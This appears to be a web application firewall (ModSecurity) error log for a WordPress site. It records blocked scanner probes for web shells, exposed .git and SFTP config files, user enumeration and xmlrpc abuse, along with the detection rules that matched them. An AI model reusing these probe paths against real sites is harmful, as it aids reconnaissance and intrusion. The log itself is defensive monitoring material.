[Thu Mar 12 18:25:32.626528 2026] [:error] [pid 51456:tid 51495] [client 103.65.236.149:53570] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "abKUnBXu8LzVixNGr0takwAAAEg"]
[Thu Mar 12 18:25:32.845939 2026] [:error] [pid 51456:tid 51488] [client 103.65.236.149:53585] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "abKUnBXu8LzVixNGr0talQAAAEE"]
[Fri Mar 13 02:44:34.600992 2026] [:error] [pid 56003:tid 56011] [client 4.205.39.42:59906] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abMJkhQtM0oeMdFWe6WKpAAAAMY"]
[Fri Mar 13 02:44:42.970862 2026] [:error] [pid 47892:tid 47962] [client 4.205.39.42:15017] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abMJmjNdN5Yd7YcKfyUSCQAAAE4"]
[Fri Mar 13 02:44:47.038320 2026] [:error] [pid 47893:tid 47997] [client 4.205.39.42:15003] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abMJnwYSdu6aqxO_YucyqgAAAJY"]
[Fri Mar 13 02:44:48.378028 2026] [:error] [pid 47894:tid 48022] [client 4.205.39.42:15007] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abMJoJiuFpRtVNR6uOKTYAAAARQ"]
[Fri Mar 13 04:29:26.773136 2026] [:error] [pid 61929:tid 62012] [client 20.194.2.185:12320] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abMiJjGGsow2jgUjLtw0bgAAAIg"]
[Fri Mar 13 04:29:27.354898 2026] [:error] [pid 61929:tid 62023] [client 20.194.2.185:18663] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abMiJzGGsow2jgUjLtw0bwAAAJM"]
[Fri Mar 13 04:29:27.919773 2026] [:error] [pid 62036:tid 62054] [client 20.194.2.185:13483] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abMiJ7ce6g9kILuh_R7CtQAAAMs"]
[Fri Mar 13 04:29:28.464439 2026] [:error] [pid 61928:tid 61988] [client 20.194.2.185:6684] [client 20.194.2.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abMiKAod66AHekJJZioO8AAAAEs"]
[Fri Mar 13 06:25:37.770101 2026] [autoindex:error] [pid 62036:tid 62048] [client 213.199.63.167:62643] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Mar 13 06:38:46.477866 2026] [:error] [pid 62036:tid 62055] [client 209.87.169.120:59501] [client 209.87.169.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abNAdrce6g9kILuh_R4N3wAAAMw"]
[Fri Mar 13 06:50:11.553136 2026] [:error] [pid 55077:tid 55082] [client 170.106.197.109:49878] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abNDI99Ul5ym4M-PlQL_8AAAAUM"]
[Fri Mar 13 07:31:05.519978 2026] [:error] [pid 62036:tid 62043] [client 62.84.185.63:31484] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abNMubce6g9kILuh_R4diAAAAMA"]
[Fri Mar 13 07:31:09.363540 2026] [:error] [pid 55077:tid 55091] [client 62.84.185.63:31498] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abNMvd9Ul5ym4M-PlQIRwgAAAUw"]
[Fri Mar 13 08:00:48.139060 2026] [:error] [pid 44755:tid 44769] [client 195.178.110.159:33352] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "abNTsPONf1H0XrBFE4Ob6QAAAQw"]
[Fri Mar 13 08:59:55.517697 2026] [:error] [pid 55077:tid 55098] [client 195.178.110.159:59490] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "abNhi99Ul5ym4M-PlQI6GwAAAVM"]
[Fri Mar 13 09:30:02.953505 2026] [:error] [pid 61927:tid 61952] [client 3.145.19.203:54185] [client 3.145.19.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abNomrLkK584eBa2J7XiKgAAAAY"]
[Fri Mar 13 09:30:03.372040 2026] [:error] [pid 55077:tid 55089] [client 3.145.19.203:57073] [client 3.145.19.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "abNom99Ul5ym4M-PlQJJ2wAAAUo"]
[Fri Mar 13 09:30:03.783331 2026] [:error] [pid 62036:tid 62050] [client 3.145.19.203:50498] [client 3.145.19.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "abNom7ce6g9kILuh_R5GUQAAAMc"]
[Fri Mar 13 09:50:33.298512 2026] [:error] [pid 62036:tid 62061] [client 209.87.169.151:25067] [client 209.87.169.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.151, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abNtabce6g9kILuh_R5QAAAAANI"]
[Fri Mar 13 10:37:47.679639 2026] [:error] [pid 61928:tid 61995] [client 143.198.154.34:51972] [client 143.198.154.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abN4ewod66AHekJJZipXjQAAAFI"]
[Fri Mar 13 10:37:48.598032 2026] [:error] [pid 62036:tid 62044] [client 143.198.154.34:52124] [client 143.198.154.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abN4fLce6g9kILuh_R5TmgAAAME"]
[Fri Mar 13 12:33:14.090256 2026] [:error] [pid 9241:tid 9265] [client 43.164.197.177:48888] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abOTig48xagB6AsXkJ7kSgAAAcw"]
[Fri Mar 13 13:46:39.268599 2026] [:error] [pid 44755:tid 44767] [client 172.245.102.6:23015] [client 172.245.102.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.6, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abOkv_ONf1H0XrBFE4MG6AAAAQo"]
[Fri Mar 13 17:18:04.086326 2026] [:error] [pid 55077:tid 55102] [client 123.187.240.242:37612] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abPWTN9Ul5ym4M-PlQLCYQAAAVc"]
[Fri Mar 13 17:52:30.487372 2026] [:error] [pid 9309:tid 9344] [client 43.157.43.147:48072] [client 43.157.43.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abPeXqo1KEMMghNWAN8ZwQAAAhU"]
[Fri Mar 13 18:43:58.195652 2026] [:error] [pid 9309:tid 9341] [client 35.205.135.107:53271] [client 35.205.135.107] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abPqbqo1KEMMghNWAN8mBgAAAhI"]
[Fri Mar 13 18:43:59.571359 2026] [:error] [pid 9309:tid 9347] [client 35.205.135.107:53271] [client 35.205.135.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.205.135.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abPqb6o1KEMMghNWAN8mCAAAAhg"]
[Fri Mar 13 18:44:01.022953 2026] [:error] [pid 61928:tid 61979] [client 35.205.135.107:63260] [client 35.205.135.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.205.135.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abPqcQod66AHekJJZiqXmAAAAEI"]
[Fri Mar 13 18:44:02.439329 2026] [:error] [pid 55077:tid 55086] [client 35.205.135.107:52475] [client 35.205.135.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.205.135.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abPqct9Ul5ym4M-PlQLTgwAAAUc"]
[Fri Mar 13 18:44:03.930779 2026] [:error] [pid 9241:tid 9264] [client 35.205.135.107:58522] [client 35.205.135.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.205.135.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abPqcw48xagB6AsXkJ4KFgAAAcs"]
[Fri Mar 13 18:44:03.930889 2026] [:error] [pid 9241:tid 9264] [client 35.205.135.107:58522] [client 35.205.135.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.205.135.107, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abPqcw48xagB6AsXkJ4KFgAAAcs"]
[Fri Mar 13 21:07:16.878329 2026] [:error] [pid 9241:tid 9262] [client 193.34.33.10:56047] [client 193.34.33.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.34.33.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abQMBA48xagB6AsXkJ4WXQAAAck"]
[Fri Mar 13 21:11:12.776089 2026] [:error] [pid 9309:tid 9335] [client 193.34.33.10:22638] [client 193.34.33.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abQM8Ko1KEMMghNWAN9M6wAAAgw"]
[Fri Mar 13 21:12:30.170170 2026] [:error] [pid 9311:tid 9361] [client 193.34.33.10:23118] [client 193.34.33.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.34.33.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abQNPlTiCkU4QLmYwPkydgAAAko"]
[Fri Mar 13 22:15:23.224961 2026] [:error] [pid 60436:tid 60476] [client 170.106.165.186:59008] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abQb-4I3PEddCArY1AajBwAAAwc"]
[Fri Mar 13 23:04:20.826548 2026] [autoindex:error] [pid 60496:tid 60521] [client 213.199.63.167:53855] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 14 00:42:14.741368 2026] [:error] [pid 47878:tid 47952] [client 4.204.197.4:53841] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "abQ-Zn8jymmmpr1jcBehBwAAAE0"]
[Sat Mar 14 00:42:15.232192 2026] [:error] [pid 47878:tid 47960] [client 4.204.197.4:53843] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "abQ-Z38jymmmpr1jcBehCgAAAFU"]
[Sat Mar 14 00:42:15.684243 2026] [:error] [pid 48070:tid 48089] [client 4.204.197.4:53828] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "abQ-Z0IvrhMS5BVHxNn-ogAAABE"]
[Sat Mar 14 00:42:16.400743 2026] [:error] [pid 48070:tid 48091] [client 4.204.197.4:37105] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "abQ-aEIvrhMS5BVHxNn-pAAAABM"]
[Sat Mar 14 00:42:16.969310 2026] [:error] [pid 47878:tid 47959] [client 4.204.197.4:39068] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "abQ-aH8jymmmpr1jcBehDQAAAFQ"]
[Sat Mar 14 00:42:17.485771 2026] [:error] [pid 47891:tid 47975] [client 4.204.197.4:48008] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "abQ-afchNnuMqi7I_WHouQAAAIk"]
[Sat Mar 14 00:42:18.127471 2026] [:error] [pid 47878:tid 47958] [client 4.204.197.4:37094] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "abQ-an8jymmmpr1jcBehEAAAAFM"]
[Sat Mar 14 00:42:18.613021 2026] [:error] [pid 47905:tid 48014] [client 4.204.197.4:8669] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock.php"] [unique_id "abQ-ahaYZayP4o4wpJcOyAAAAVU"]
[Sat Mar 14 00:42:19.150571 2026] [:error] [pid 48070:tid 48081] [client 4.204.197.4:48046] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "abQ-a0IvrhMS5BVHxNn-qAAAAAk"]
[Sat Mar 14 00:42:19.619306 2026] [:error] [pid 47905:tid 48007] [client 4.204.197.4:8670] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "abQ-axaYZayP4o4wpJcOywAAAU4"]
[Sat Mar 14 00:42:20.101490 2026] [:error] [pid 48070:tid 48085] [client 4.204.197.4:48022] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "abQ-bEIvrhMS5BVHxNn-qQAAAA0"]
[Sat Mar 14 00:42:20.764900 2026] [:error] [pid 48070:tid 48079] [client 4.204.197.4:42860] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "abQ-bEIvrhMS5BVHxNn-qwAAAAc"]
[Sat Mar 14 00:42:21.298843 2026] [:error] [pid 48070:tid 48077] [client 4.204.197.4:53827] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "abQ-bUIvrhMS5BVHxNn-rgAAAAU"]
[Sat Mar 14 00:42:21.875400 2026] [:error] [pid 47891:tid 47966] [client 4.204.197.4:48044] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "abQ-bfchNnuMqi7I_WHovQAAAIA"]
[Sat Mar 14 00:42:22.517283 2026] [:error] [pid 47905:tid 47994] [client 4.204.197.4:8688] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "abQ-bhaYZayP4o4wpJcO0wAAAUE"]
[Sat Mar 14 00:42:23.097466 2026] [:error] [pid 47905:tid 48000] [client 4.204.197.4:8651] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "abQ-bxaYZayP4o4wpJcO1gAAAUc"]
